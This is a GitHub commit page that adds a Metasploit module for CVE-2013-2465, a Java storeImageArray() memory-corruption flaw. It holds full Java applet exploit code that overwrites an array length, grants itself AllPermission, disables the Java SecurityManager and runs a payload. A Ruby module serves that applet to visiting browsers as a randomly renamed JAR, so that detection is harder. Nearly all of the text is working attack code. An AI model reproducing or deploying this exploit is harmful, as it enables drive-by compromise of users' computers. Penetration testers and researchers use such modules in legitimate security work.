Skip to content

Commit 3762b84

Browse files
committed
Land rapid7#2232 - CVE-2013-2465: Java storeImageArray() Invalid Array Indexing
2 parents 7d3c676 + 1a3b4ee commit 3762b84

File tree

6 files changed

+368
-0
lines changed

6 files changed

+368
-0
lines changed
Binary file not shown.
Binary file not shown.
3.99 KB
Binary file not shown.
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
import java.awt.image.*;
2+
import java.awt.color.*;
3+
import java.beans.Statement;
4+
import java.security.*;
5+
import metasploit.Payload;
6+
import java.applet.Applet;
7+
8+
public class Exploit extends Applet {
9+
10+
public void init() {
11+
12+
try {
13+
14+
// try several attempts to exploit
15+
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
16+
//System.out.println("Attempt #" + i);
17+
tryExpl();
18+
}
19+
20+
// check results
21+
if (System.getSecurityManager() == null) {
22+
// execute payload
23+
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
24+
Payload.main(null);
25+
}
26+
27+
} catch (Exception ex) {
28+
//ex.printStackTrace();
29+
}
30+
}
31+
32+
public static String toHex(int i)
33+
{
34+
return Integer.toHexString(i);
35+
}
36+
37+
private boolean _is64 = System.getProperty("os.arch","").contains("64");
38+
39+
// we will need ColorSpace which returns 1 from getNumComponents()
40+
class MyColorSpace extends ICC_ColorSpace
41+
{
42+
public MyColorSpace()
43+
{
44+
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
45+
}
46+
47+
// override getNumComponents
48+
public int getNumComponents()
49+
{
50+
int res = 1;
51+
return res;
52+
}
53+
}
54+
55+
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
56+
class MyColorModel extends ComponentColorModel
57+
{
58+
public MyColorModel()
59+
{
60+
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
61+
}
62+
63+
// override isCompatibleRaster
64+
public boolean isCompatibleRaster(Raster r)
65+
{
66+
boolean res = true;
67+
return res;
68+
}
69+
}
70+
71+
72+
private int tryExpl()
73+
{
74+
try {
75+
// alloc aux vars
76+
String name = "setSecurityManager";
77+
Object[] o1 = new Object[1];
78+
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
79+
80+
// allocate byte buffer for destination Raster.
81+
DataBufferByte dst = new DataBufferByte(16);
82+
83+
// allocate the target array right after dst
84+
int[] a = new int[8];
85+
// allocate an object array right after a[]
86+
Object[] oo = new Object[7];
87+
88+
// create Statement with the restricted AccessControlContext
89+
oo[2] = new Statement(System.class, name, o1);
90+
91+
// create powerful AccessControlContext
92+
Permissions ps = new Permissions();
93+
ps.add(new AllPermission());
94+
oo[3] = new AccessControlContext(
95+
new ProtectionDomain[]{
96+
new ProtectionDomain(
97+
new CodeSource(
98+
new java.net.URL("file:///"),
99+
new java.security.cert.Certificate[0]
100+
),
101+
ps
102+
)
103+
}
104+
);
105+
106+
// store System.class pointer in oo[]
107+
oo[4] = ((Statement)oo[2]).getTarget();
108+
109+
// save old a.length
110+
int oldLen = a.length;
111+
//System.out.println("a.length = 0x" + toHex(oldLen));
112+
113+
// create regular source image
114+
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
115+
116+
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
117+
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
118+
// create malformed destination image based on dst[] data
119+
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
120+
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
121+
122+
// prepare first pixel which will overwrite a.length
123+
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
124+
125+
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
126+
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
127+
op.filter(bi1, bi2);
128+
129+
// check results: a.length should be overwritten by 0xFFFFFFFF
130+
int len = a.length;
131+
//System.out.println("a.length = 0x" + toHex(len));
132+
if (len == oldLen) {
133+
// check a[] content corruption // for RnD
134+
for(int i=0; i < len; i++) {
135+
if (a[i] != 0) {
136+
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
137+
}
138+
}
139+
// exit
140+
//System.out.println("error 1");
141+
return 1;
142+
}
143+
144+
// ok, now we can read/write outside the real a[] storage,
145+
// lets find our Statement object and replace its private "acc" field value
146+
147+
// search for oo[] after a[oldLen]
148+
boolean found = false;
149+
int ooLen = oo.length;
150+
for(int i=oldLen+2; i < oldLen+32; i++)
151+
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
152+
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
153+
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
154+
{
155+
// read pointer from oo[4]
156+
int stmTrg = a[i+4];
157+
// search for the Statement.target field behind oo[]
158+
for(int j=i+7; j < i+7+64; j++){
159+
if (a[j] == stmTrg) {
160+
// overwrite default Statement.acc by oo[3] ("AllPermission")
161+
a[j-1] = a[i+3];
162+
found = true;
163+
break;
164+
}
165+
}
166+
if (found) break;
167+
}
168+
169+
// check results
170+
if (!found) {
171+
// print the memory dump on error // for RnD
172+
String s = "a["+oldLen+"...] = ";
173+
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
174+
//System.out.println(s);
175+
} else try {
176+
177+
// call System.setSecurityManager(null)
178+
((Statement)oo[2]).execute();
179+
180+
// show results: SecurityManager should be null
181+
} catch (Exception ex) {
182+
//ex.printStackTrace();
183+
}
184+
185+
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
186+
187+
} catch (Exception ex) {
188+
//ex.printStackTrace();
189+
}
190+
191+
return 0;
192+
}
193+
194+
}
195+
196+
197+
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
CLASSES = Exploit.java
2+
3+
.SUFFIXES: .java .class
4+
.java.class:
5+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
6+
7+
all: $(CLASSES:.java=.class)
8+
9+
install:
10+
mv *.class ../../../../data/exploits/CVE-2013-3465/
11+
12+
clean:
13+
rm -rf *.class
14+
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
16+
include Msf::Exploit::Remote::BrowserAutopwn
17+
autopwn_info({ :javascript => false })
18+
19+
def initialize( info = {} )
20+
super( update_info( info,
21+
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
22+
'Description' => %q{
23+
This module abuses an Invalid Array Indexing Vulnerability on the
24+
static function storeImageArray() function in order to produce a
25+
memory corruption and finally escape the Java Sandbox. The vulnerability
26+
affects Java version 7u21 and earlier. The module, which doesn't bypass
27+
click2play, has been tested successfully on Java 7u21 on Windows and
28+
Linux systems.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Unknown', # From PacketStorm
34+
'sinn3r', # Metasploit
35+
'juan vazquez' # Metasploit
36+
],
37+
'References' =>
38+
[
39+
[ 'CVE', '2013-2465' ],
40+
[ 'OSVDB', '96269' ],
41+
[ 'EDB', '27526' ],
42+
[ 'URL', 'http://packetstormsecurity.com/files/122777/' ],
43+
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]
44+
],
45+
'Platform' => [ 'java', 'win', 'linux' ],
46+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
47+
'Targets' =>
48+
[
49+
[ 'Generic (Java Payload)',
50+
{
51+
'Arch' => ARCH_JAVA,
52+
'Platform' => 'java'
53+
}
54+
],
55+
[ 'Windows Universal',
56+
{
57+
'Arch' => ARCH_X86,
58+
'Platform' => 'win'
59+
}
60+
],
61+
[ 'Linux x86',
62+
{
63+
'Arch' => ARCH_X86,
64+
'Platform' => 'linux'
65+
}
66+
]
67+
],
68+
'DefaultTarget' => 0,
69+
'DisclosureDate' => 'Aug 12 2013'
70+
))
71+
end
72+
73+
def setup
74+
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit.class")
75+
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
76+
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class")
77+
@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
78+
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class")
79+
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
80+
81+
@exploit_class_name = rand_text_alpha("Exploit".length)
82+
@color_model_class_name = rand_text_alpha("MyColorModel".length)
83+
@color_space_class_name = rand_text_alpha("MyColorSpace".length)
84+
85+
@exploit_class.gsub!("Exploit", @exploit_class_name)
86+
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
87+
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)
88+
89+
@color_model_class.gsub!("Exploit", @exploit_class_name)
90+
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
91+
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)
92+
93+
94+
@color_space_class.gsub!("Exploit", @exploit_class_name)
95+
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
96+
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)
97+
98+
super
99+
end
100+
101+
def on_request_uri( cli, request )
102+
print_debug("Requesting: #{request.uri}")
103+
if request.uri !~ /\.jar$/i
104+
if not request.uri =~ /\/$/
105+
print_status("Sending redirect...")
106+
send_redirect(cli, "#{get_resource}/", '')
107+
return
108+
end
109+
110+
print_status("Sending HTML...")
111+
send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})
112+
return
113+
end
114+
115+
print_status("Sending .jar file...")
116+
send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})
117+
118+
handler( cli )
119+
end
120+
121+
def generate_html
122+
jar_name = rand_text_alpha(5+rand(3))
123+
html = %Q|<html>
124+
<head>
125+
</head>
126+
<body>
127+
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
128+
</applet>
129+
</body>
130+
</html>
131+
|
132+
html = html.gsub(/^\t\t/, '')
133+
return html
134+
end
135+
136+
def generate_jar(cli)
137+
138+
p = regenerate_payload(cli)
139+
jar = p.encoded_jar
140+
141+
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
142+
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
143+
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
144+
metasploit_str = rand_text_alpha("metasploit".length)
145+
payload_str = rand_text_alpha("payload".length)
146+
jar.entries.each { |entry|
147+
entry.name.gsub!("metasploit", metasploit_str)
148+
entry.name.gsub!("Payload", payload_str)
149+
entry.data = entry.data.gsub("metasploit", metasploit_str)
150+
entry.data = entry.data.gsub("Payload", payload_str)
151+
}
152+
jar.build_manifest
153+
154+
return jar.pack
155+
end
156+
157+
end

0 commit comments

Comments
 (0)